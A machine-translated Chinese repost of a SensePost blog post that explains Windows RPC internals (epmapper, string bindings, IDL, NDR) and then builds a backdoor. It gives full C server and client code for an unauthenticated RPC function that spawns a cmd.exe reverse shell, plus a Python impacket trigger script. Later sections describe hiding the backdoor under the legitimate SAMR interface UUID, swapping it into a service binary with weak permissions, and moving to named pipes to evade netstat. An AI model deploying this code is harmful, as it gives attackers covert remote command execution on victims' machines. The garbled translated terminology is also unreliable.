声明:仅技术分享及交流
使用Windows远程过程调用(RPC)接口是一个有趣的概念,考虑到它允许您在远程进程中通过网络调用函数。我想更好地了解RPC是如何工作的,并决定构建自己的RPC接口来帮助解决这个问题。因此,我编写了一个RPC接口,它将在给定IP地址和端口的情况下生成一个反向shell。在这篇文章中,我将向您展示如何做到这一点以及我在几个部分中学到的东西:
-如何RPC工作 -如何定义和创建RPC界面 如何将所有事物武器化(创建我们的后门)
我为这篇文章写的所有代码都可以在https://github.com/sensepost/offensive-rpc的GitHub上找到。
什么是RPC?
RPC是RemoteProckCall的缩写。它是Windows操作系统内部使用的机制之一,允许程序相互通信。RPC的总体思想是,您可以编写可以在本地和远程执行代码的应用程序。我们为什么需要它?考虑以下(人为的)示例。想象一下,您拥有一个具有256GbRAM和10个显卡的服务器。由于其计算能力,该服务器对哈希破解操作非常有用。作为一个懒惰的黑客,您可以实现一个RPC接口,您可以调用它来执行破解工作,返回它恢复的明文。实际上,您将创建一个RPC接口,让我们称之为hashCracker,它需要两个参数:
-
要破解的哈希
-
哈希的格式(MD5,SHA1,无论…)
一旦RPC接口准备就绪,我们唯一需要做的就是发送哈希及其格式,我们将得到结果(破解密码):
通过使用RPC接口,我们有效地使两个程序远程通信。你可以争辩说,这看起来像是远程服务器的基本传输控制协议。不同之处在于,使用RPC接口,我们不必处理网络输入/输出或TCP堆栈。与网络层相关的所有内容都由RPC运行时库(rpcrt4. dll)和一个存根处理,其目的是将数据(即序列化)打包到数据存根中。稍后再详细介绍。现在,让我们看看RPC架构中最重要的服务之一:epmapper。
RPC端点映射器
如果您完全不熟悉RPC协议,您可能会想知道计算机将如何调用这些远程接口。它如何知道哪些接口是可访问的以及如何连接到它们?在Windows中,有一个服务负责列出暴露的接口。该服务称为RPC端点映射器或epmapper:
RPCEndpoint Mapper服务正在运行
如果您想列出哪些接口是公开的,您可以使用Im包库中的rpcdump.py
脚本。该脚本将连接到端口135(epmapper正在侦听的端口)并列出所有公开的接口。以下屏幕截图是脚本输出的摘录,其中描述了三个接口:
python3 rpcdumpy.py 192.168.0.23
如您所见,每个接口都描述了四个信息:
-
一种协议,用于与远程服务器通信。
-
一个提供程序,它是公开RPC接口的PE二进制文件(EXE或DLL)
-
一个UUID(UniversallyUniqueI牙套),它是我们可能希望在Windows操作系统上联系的接口的唯一标识符。
-
一个绑定字符串,至少一个,但可能更多。
此时我们需要弄清楚的是如何连接到这些接口以及这些信息用于什么。
RPC如何工作
调用RPC接口的过程依赖于两个步骤。首先,客户端将使用所谓的字符串绑定连接到端点。字符串绑定是称为绑定句柄的更复杂结构的一部分。我们将在下一节编写接口时回到这个问题。现在您需要知道的是,字符串绑定定义了如何到达RPC接口。让我们来看看我们之前看到的一个接口,比如说SAMR接口。这个接口被系统管理员用来远程管理用户和组。如果你曾经使用rpcclient
和以下函数之一更改密码,你可能已经使用过它:
在我们之前看到的SAMR接口的情况下,您会注意到有13种不同的字符串绑定:
这些字符串绑定中的每一个都遵循一种通用格式:
ObjectUUID@ProtocolSequence:NetworkAddress[Endpoint,Option]
在哪里:
-
object tUUID:我们希望连接的接口的UUID及其版本。
-
ProtocolSequence:用于通过网络传输数据的协议。有三种主要协议(进一步定义为14种不同的协议序列):
-
NCACN(NetworkComputingArchittionCoNnection导向协议):RPC传输控制协议
-
NCADG(NetworkComputingArchittionDatagrameP协议):RPCUDP连接
-
NCALRPC(NetworkComputingArchittionLocalRemoteProc):通过局部连接RPC
-
网络地址:SMB共享的IP地址或名称
-
端点:远程接口的位置
在rpcdump.py
输出中,您将看到ObjectUUID不存在于字符串绑定中,因为它是隐式的。原因是否则输出将太难读取。如果我们采用以下字符串绑定:
ncacn_ip_tcp:192.168.0.24[49664]
我们可以通过连接到49664端口上的IP192.168.0.24来推断RPC接口是可达的。如果我们采取这个:
ncalrpc:[samss lpc]
我们可以看到没有NetworkAddress。这是因为这个字符串绑定依赖于ncalrpc
协议序列,这意味着RPC接口只能通过调用名为samss lpc的端点在本地访问。最后,如果我们采用以下方法:
ncac_np:\DESKTOP-0PRT7UI[pipelsass]
我们可以通过连接到位于计算机上的名为\DESKTOP-0PRT7UI的SMB共享到名称管道管道lsass来推断接口是可达的。
使用这些字符串绑定,我们有足够的信息能够连接到端点。下一步是绑定到接口。为此,我们需要两个信息,再次由epmapper公开:接口的UUID及其版本。
绑定过程将在RPC客户端和RPC服务器之间创建逻辑连接,并导致创建绑定句柄。使用此逻辑连接,我们将能够发送数据并接收结果。下面是连接时RPC客户端和RPC服务器之间发送的流量捕获:
在RPC传输控制协议的Wireshark中查看的数据包转储。
前三个数据包是标准传输控制协议(SYN、SYN/确认字符、确认字符)的一部分,发送到监听端口41337的端点。这是我为后门RPC接口选择的端口,我们将在本文的下一节中开发。我们可以从前三个数据包中学到的是,端点可以通过端口41337上IP192.68.0.47上的传输控制协议到达。这意味着该端点的字符串绑定如下:
ncacn_ip_tcp:192.168.0.47[41337]
接下来我们可以看到紫色的四个数据包。这些数据包构成了DCERPC绑定操作和RPC调用。仔细看看有效负载,你可以看到第一个数据包尝试绑定到一个由UUID和接口版本组成的context_item:
第二个数据包是来自RPC服务器的回复,表示绑定已被接受:
第三个包含客户端以序列化格式发送到RPC接口的数据存根:
从纯网络的角度来看,我们现在知道RPC通信是如何完成的。然而,事情比这要复杂一些。在内部,以下模式描述了这个过程:
总结一下:
-
1.客户端程序调用客户端存根,并向其发送RPC函数所需的参数。
-
2.客户端存根将这些数据序列化成一个复杂的数据结构,遵循NetworkDataR电子演示格式。一旦数据被格式化,它将被转发到RPC运行时。
-
3.RPC运行时是允许我们在处理TCP/IP输入/输出的同时远程查询功能的组件。它的目的是向RPC客户端/服务器发送/接收数据。
-
4.服务器存根反序列化数据并将其转发给服务器代码。
-
5.服务器代码执行函数并以相反的方式返回执行完全相同操作的结果。
就这样。我们几乎知道我们需要的关于RPC的一切以及它是如何工作的。让我们一起开始黑客攻击吧!
建立RPC接口
从头开始编写RPC接口是一项复杂的任务。如前所述,这不仅仅是创建一个套接字和传递一些数据。我们需要做的第一件事是定义一个接口。定义接口是最重要的部分,因为这是您选择RPC接口将接收/发送哪种类型的数据的时候。在我们的例子中,我们希望RPC接口发送一个反向shell。因此,它需要以下参数:
-
一种IP地址,在C语言中存储为字符数组
-
在C中存储为int的端口
定义一个接口意味着创建一个遵循MIDL格式的IDL文件。MIDL(MicrosoftInterfaceDefinitionLanguage)有点像一个包含RPC接口定义的C头文件。下面你会找到定义我们接口的IDL文件:
[
uuid(AB4ED934-1293-10DE-BC12-AE18C48DEF33),
version(1.0),
implicit_handle(handle_t ImplicitHandle)
]
interface RemotePrivilegeCall
{
void SendReverseShell(
[in, string] wchar_t* ip_address,
[in] int port
);
}
如您所见,IDL文件由两部分组成。第一个是MIDL接口头:
[
uuid(AB4ED934-1293-10DE-BC12-AE18C48DEF33), // UUID of the interface
version(1.0), // Specify that this is the version 1.0 of the interface
implicit_handle(handle_t ImplicitHandle) // Declare an implicit handle
]
它包含接口的UUID(我随机选择)、版本和要使用的绑定句柄类型。之前我告诉过你,客户端使用字符串绑定连接到远程端点,然后绑定到接口。绑定过程结束后,将创建一个绑定句柄,并包含与RPC客户端和RPC服务器之间创建的逻辑连接相关的所有数据。在这个绑定句柄中,您将找到(以及其他信息):
-
绑定字符串
-
绑定是否需要鉴权
-
数据是否必须被加密
有三种类型的手柄:
-
显式句柄
-
隐式句柄
-
自动手柄
这些类型的句柄之间的区别在于它们不提供相同类型的控制。那么我们应该使用哪个句柄呢?留档说最佳实践是使用显式句柄,因为它们支持多线程。然而,我们并不真正关心多线程的东西。RPC接口越容易开发越好。起初,我选择使用自动句柄,但后来我意识到这些句柄已被弃用,所以我切换回隐式句柄。IDL文件的下一部分是MIDL接口正文,其中包含我们RPC接口功能的定义。
interface RemotePrivilegeCall
{
void SendReverseShell(
[in, string] wchar_t* ip_address,
[in] int port
);
}
如您所见,它看起来像一个标准的C函数原型。该函数名为SendReverseShell,接受两个参数,不返回任何内容。唯一的区别是这些新关键字:in,out和string。in关键字意味着参数将被发送到RPC接口,out参数意味着函数将返回一个值,string关键字意味着参数是以x00字符结尾的字符串。还有其他关键字,我们可以使用,但我们的接口不需要它们。现在我们的接口已经定义好了,我们需要将其转换为C代码。为此,我们将使用名为midl. exe的二进制文件和以下命令:
midl.exe /app_config RemotePrivilegeCall.idl
如果一切顺利(应该是这样),您将获得三个新文件:-一个客户存根(RemotePrivilegeCall_c. c) -一个服务器存根(RemotePrivilege_s. c) -每个存根中包含一个标题
接下来我们将不得不编写服务器程序的代码。
顺便说一句:在使用Windows进行开发时,重要的是要记住默认字符集是UNICODE。这意味着字符以16位编码。因此,像“1”这样的简单ASCII数字将以十六进制编码为“31”,在UNICODE中将编码为“3100”。许多WinAPI函数支持ASCII和UNICODE编码,这就是为什么函数(如CreateFile
)有两种格式可用的原因:-CreateFileA():支持ASCII字符集 -CreateFileW():支持UNICODE字符集
如果你依赖于通常的CreateFile()函数,那么重要的是要知道你将在不知不觉中使用CreateFileA()。这是使我的第一POC无法使用的原因之一,这就是为什么我认为提到它会很有趣。
为了设置RPC界面,我们将使用WinAPI中的几个函数:
-
RpcServerUseProtseqEpW我们将在其中指定要使用的端点
-
RpcServerRegisterIf2:允许我们向RPC运行库注册接口
-
RpcServerInqBindings和RpcEpRegisterW:这将允许我们注册epmapper组件的接口
-
RpcServer听:启动接口
这是服务器程序的注释代码:
// Links the rpcrt4.lib that exposes the WinAPI RPC functions
// Links the ws2_32.lib which contains the socket functions
// Function that sends the reverse shell
void SendReverseShell(wchar_t* ip_address, int port){
printf("Sending reverse shell to: %ws:%dn", ip_address, port);
WSADATA wsaData;
SOCKET s1;
struct sockaddr_in hax;
char ip_addr_ascii[16];
STARTUPINFO sui;
PROCESS_INFORMATION pi;
sprintf(ip_addr_ascii, "%ws", ip_address );
WSAStartup(MAKEWORD(2, 2), &wsaData);
s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
hax.sin_family = AF_INET;
hax.sin_port = htons(port);
hax.sin_addr.s_addr = inet_addr(ip_addr_ascii);
WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) s1;
LPSTR commandLine = "cmd.exe";
CreateProcess(NULL, commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
}
// Security callback function
RPC_STATUS CALLBACK SecurityCallback(RPC_IF_HANDLE Interface, void* pBindingHandle){
return RPC_S_OK; // Whoever binds to the interface, we will allow the connection
}
int main()
{
RPC_STATUS status; // Used to store the RPC function returns
RPC_BINDING_VECTOR* pbindingVector = 0;
// Specify the Rpc endpoints options
status = RpcServerUseProtseqEpW(
(RPC_WSTR)L"ncacn_ip_tcp", // Endpoint to contact
RPC_C_PROTSEQ_MAX_REQS_DEFAULT, // Default value
(RPC_WSTR)L"41337", // Listening port
NULL // Pointer to a security context (we don't care about that)
);
// Register the interface to the RPC runtime
status = RpcServerRegisterIf2(
RemotePrivilegeCall_v1_0_s_ifspec, // Name of the interface defined in RemotePrivilegeCall.h
NULL, // UUID to bind to (NULL means the one from the MIDL file)
NULL, // Interface to use (NULL means the one from the MIDL file)
RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH, // Invoke the security callback function
RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Numbers of simultaneous connections
(unsigned)-1, // Maximum size of data block received
SecurityCallback // Name of the function that acts as the security callback
);
// Register the interface to the epmapper
status = RpcServerInqBindings(&pbindingVector);
status = RpcEpRegisterW(
RemotePrivilegeCall_v1_0_s_ifspec, // Name of the interface defined in RemotePrivilegeCall.h
pbindingVector, // Structure contening the binding vectors
0,
(RPC_WSTR)L"Backdoored RPC interface" // Name of the interface as exposed on port 135
);
// Launch the interface
status = RpcServerListen(
1, // Minimum number of connections
RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Maximum number of connetions
FALSE // Starts the interface immediately
);
}
// Function used to allocate memory to the interface
void* __RPC_USER midl_user_allocate(size_t size){
return malloc(size);
}
// Function used to free memory allocated to the interface
void __RPC_USER midl_user_free(void* p){
free(p);
}
为了使RPC服务器正常工作,我们必须使用以下命令将服务器程序和服务器存根编译成一个二进制文件:
cl.exe Server.cpp RemotePrivilegeCall_s.c
然后我们可以运行二进制文件:
Server.exe
并用rpcdump.py枚举epmapper:
完美,RPC界面工作!对于客户端部分,我们将使用以下功能:
-
RpcStringBindingComposeW:将用于创建我们需要的绑定字符串
-
RpcBindingFromStringBindingW:将用于连接到端点并绑定到正确的接口
这是完全注释的客户端代码:
// Links the rpcrt4.lib that exposes the WinAPI RPC functions
int main()
{
RPC_STATUS status; // Store the RPC status
RPC_WSTR szStringBinding = NULL; // Store the binding string
// Used to get a valid binding string
status = RpcStringBindingComposeW(
NULL, // UUID of the interface
(RPC_WSTR)L"ncacn_ip_tcp", // TCP binding
(RPC_WSTR)L"192.168.149.138", // Server IP address
(RPC_WSTR)L"41337", // Port on which the interface is listening
NULL, // Network protocol to use
&szStringBinding // Variable in which the binding string is to be stored
);
printf("BindingString: %sn", szStringBinding);
// Validates the binding string and retrieves a binding handle
status = RpcBindingFromStringBindingW(
szStringBinding, // The binding string to validate
&ImplicitHandle // The variable in which is stored the binding handle
);
RpcTryExcept{
// Calls the remote function
SendReverseShell(L"192.168.80.129", 4444);
}
RpcExcept(1){
printf("RPCExec: %dn", RpcExceptionCode());
}
RpcEndExcept
// Libère la mémoire allouée à la chaîne de caractère binding
status = RpcStringFreeW(&szStringBinding);
// Libère le binding handle et déconnecte du serveur RPC
status = RpcBindingFree(&ImplicitHandle);
}
// Function used to allocate memory to the interface
void* __RPC_USER midl_user_allocate(size_t size){
return malloc(size);
}
// Function used to free memory allocated to the interface
void __RPC_USER midl_user_free(void* p){
free(p);
}
让我们编译客户端:
cl.exe Client.cpp RemotePrivilegeCall_c.c
并在准备好netcat侦听器的同时启动它:
Client.exe
这是我们的外壳!一开始我以为就这样了,我完成了。我有一切可以使用RPC服务器后门计算机。然而,我懒得启动WindowsVM来启动Client. exe二进制文件。考虑到我使用的是Linux操作系统,我发现Python脚本更有趣。所以我想做的是编写一个充当客户端的Python脚本。我做的第一件事是看看Im包库是什么样子的,以及如何使用它连接到RPC接口。这是我使用的代码:
from impacket.structure import Structure
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
# First we create the string binding that we will need to connect to the endpoint
stringBinding = r'ncacn_ip_tcp:{}[41337]'.format(target_ip)
# Connects to the endpoint using the string binding
transport = DCERPCTransportFactory(stringBinding)
dce = transport.get_dce_rpc()
dce.connect()
# Casts the UUID string and version into a valid UUID object
interface_uuid = uuidtup_to_bin(("AB4ED934-1293-10DE-BC12-AE18C48DEF33", "1.0"))
# Binds to the interface
dce.bind(interface_uuid)
基本上,代码创建了一个字符串绑定。然后,它连接到远程端点并绑定到接口。此时,我们需要做的唯一剩下的事情就是以正确的格式将参数发送到RPC接口,打包。由于我们没有客户端存根,它将为我们列出遵循NDR格式的数据,我们将不得不自己实现它。这可以使用Im包项目中的两个类来完成。第一个是NDRCALL,您可以在以下文件中找到。NDRCALL结构如下:
如您所见,NDR格式支持32位和64位(这就是为什么您可以看到常见的HDR/64和结构/64)。我们需要知道的是,NDR数据存根由以下组成:-包含元数据信息的NDR头 -包含编组数据的NDR主体 在帖子的前面,你可能还记得我在处理一根奇怪的绳子时遇到了很多困难。
我不知道这12个字节的数据来自哪里:
0D000000000000000D000000
后来我发现我没有正确使用NDR头文件,导致RPC调用失败。使用Impack中的NDRCALL类可以消除这个问题,因为NDR头文件是自动生成的。至于数据存根,为了重现编组操作,我们将使用python中的结构体库,并将工作基于Impack中的结构类,您可以在以下文件中找到。我们需要做的就是创建一个继承NDRCALL类的类并填写结构列表:
class SendReverseShell(NDRCALL):
structure = (
('argument_one', packing_format),
('argument_two', packing_format),
...
('argument_n', packing_format)
)
其中packing_format是由以下一个或多个说明符组成的字符串:
根据我们在IDL文件中编写的SendReverseShell函数原型,以下结构是有效的:
# < means that we will pack data into the little endian format
# WSTR is the specifiyer for a unicode encoded string
# i is the specifier for the int type
class SendReverseShell(NDRCALL):
structure = (
('ip_address', WSTR),
('port', "<i")
)
以下是用于触发RPC接口的完整python脚本:
import argparse
from impacket.dcerpc.v5 import transport
from impacket.structure import Structure
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import WSTR
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
parser = argparse.ArgumentParser()
parser.add_argument("-rip", help="Remote computer to target", dest="target_ip", type=str, required=True)
parser.add_argument("-rport", help="IP of the remote procedure listener", dest="port", type=int, required=True)
parser.add_argument("-lip", help="Local IP to receive the reverse shell", dest="lip", type=str, required=True)
parser.add_argument("-lport", help="Local port to receive the reverse shell", dest="lport", type=int, required=True)
args = parser.parse_args()
target_ip = args.target_ip
port = args.port
lip = args.lip
lport = args.lport
class SendReverseShell(NDRCALL):
structure = (
('ip_address', WSTR),
('port', "<i")
)
# Creates the string binding
stringBinding = r'ncacn_ip_tcp:{}[{}]'.format(target_ip, port)
# Connects to the remote endpoint
transport = DCERPCTransportFactory(stringBinding)
dce = transport.get_dce_rpc()
dce.connect()
print("[*] Connected to the remote target")
# Casts the UUID string and version of the interface into a UUID object and binds to the interface
interface_uuid = uuidtup_to_bin(("AB4ED934-1293-10DE-BC12-AE18C48DEF33", "1.0"))
dce.bind(interface_uuid)
print("[*] Binded to AB4ED934-1293-10DE-BC12-AE18C48DEF33")
print("[*] Formatting the client stub")
# Creates the client stub and pack its data so it valid
query = SendReverseShell()
query['ip_address'] = f"{lip}x00"
query['port'] = lport
print("[*] Calling the remote procedure")
try:
# Calls the function number 0 (the first and only function exposed by our interface) and pass the data
dce.call(0, query)
# Reading the answer of the RPC server
dce.recv()
except Exception as e:
print(f"[!] ERROR: {e}")
finally:
print("[*] Disconecting from the server")
# Disconnecting from the remote target
dce.disconnect()
我启动了脚本,然后…
我收到了一个贝壳:D!
我们的RPC界面工作!
后门计算机与自定义RPC接口
尽管RPC接口可以工作,但仍有很多事情困扰着我。首先,RPC接露在TCP端口上,这在备份计算机时是一个相当大的限制,因为它需要防火墙上的开放TCP端口。其次,在启动时运行服务器二进制文件意味着设置Windows服务。最后,正如我们在本文开头看到的,RPC接口可以使用rpcdump.py
列出。在撰写这篇博客文章时,我想知道如果您注册一个已经被合法服务使用的接口UUID会发生什么。例如,我们知道SAMR接口的UUID是:
如果我们改变后门接口的UUID:
[
uuid(12345778-1234-ABCD-EF00-0123456789AC),
version(1.0),
implicit_handle(handle_t ImplicitHandle)
]
interface RemotePrivilegeCall
{
void SendReverseShell(
[in, string] wchar_t* ip_address,
[in] int port
);
}
然后重新编译IDL文件,Server代码,然后启动二进制文件:
midl /app_config RemotePrivilegeCall.idl
cl Server.cpp RemotePrivilegeCall_s.c
Server.exe
我们将看到我们的backdoored函数被合并到合法的SAMRRPC接口中:
修改我们的客户端以连接到该UUID仍然可以按预期工作!调查RpcView中的行为,可以发现提供接口的实际二进制文件。
RpcView显示我们后门接口的真实提供者。
关于Windows服务问题。与任何其他服务一样,在合法服务使用的二进制文件上查找写入ACL可能会很有趣。因此,首先我们需要列出现有的RPC接口。这可以通过RPCView. exe完成。例如,以下二进制文件公开了12个接口:
由于我对这个二进制文件有完全控制权限,我可以用我的后门RPC服务器替换它,重新启动服务器,并意识到后门RPC接口是可达的:
最后,我们需要隐藏本地TCP监听器,这样我们的RPC后门就不会因为netstat命令而被标记。这可以通过将绑定句柄从ncacn_ip_tcp
切换到ncacn_np
来完成,这意味着我们不会依赖本地TCP端口,而是依赖命名管道!更多关于这一点的信息将在即将发布的博客文章中:)
结论
希望你现在能更好地理解视窗RPC界面的内部运作,并且更舒服地构建自己的界面。我相信IPC的机制通常是有价值的目标,了解它们的工作原理将帮助我们(和我)找到可能导致LPE和/或RCE的漏洞,最终,这就是我要找的。
原文始发于微信公众号(暴暴的皮卡丘):windows RPC攻击利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论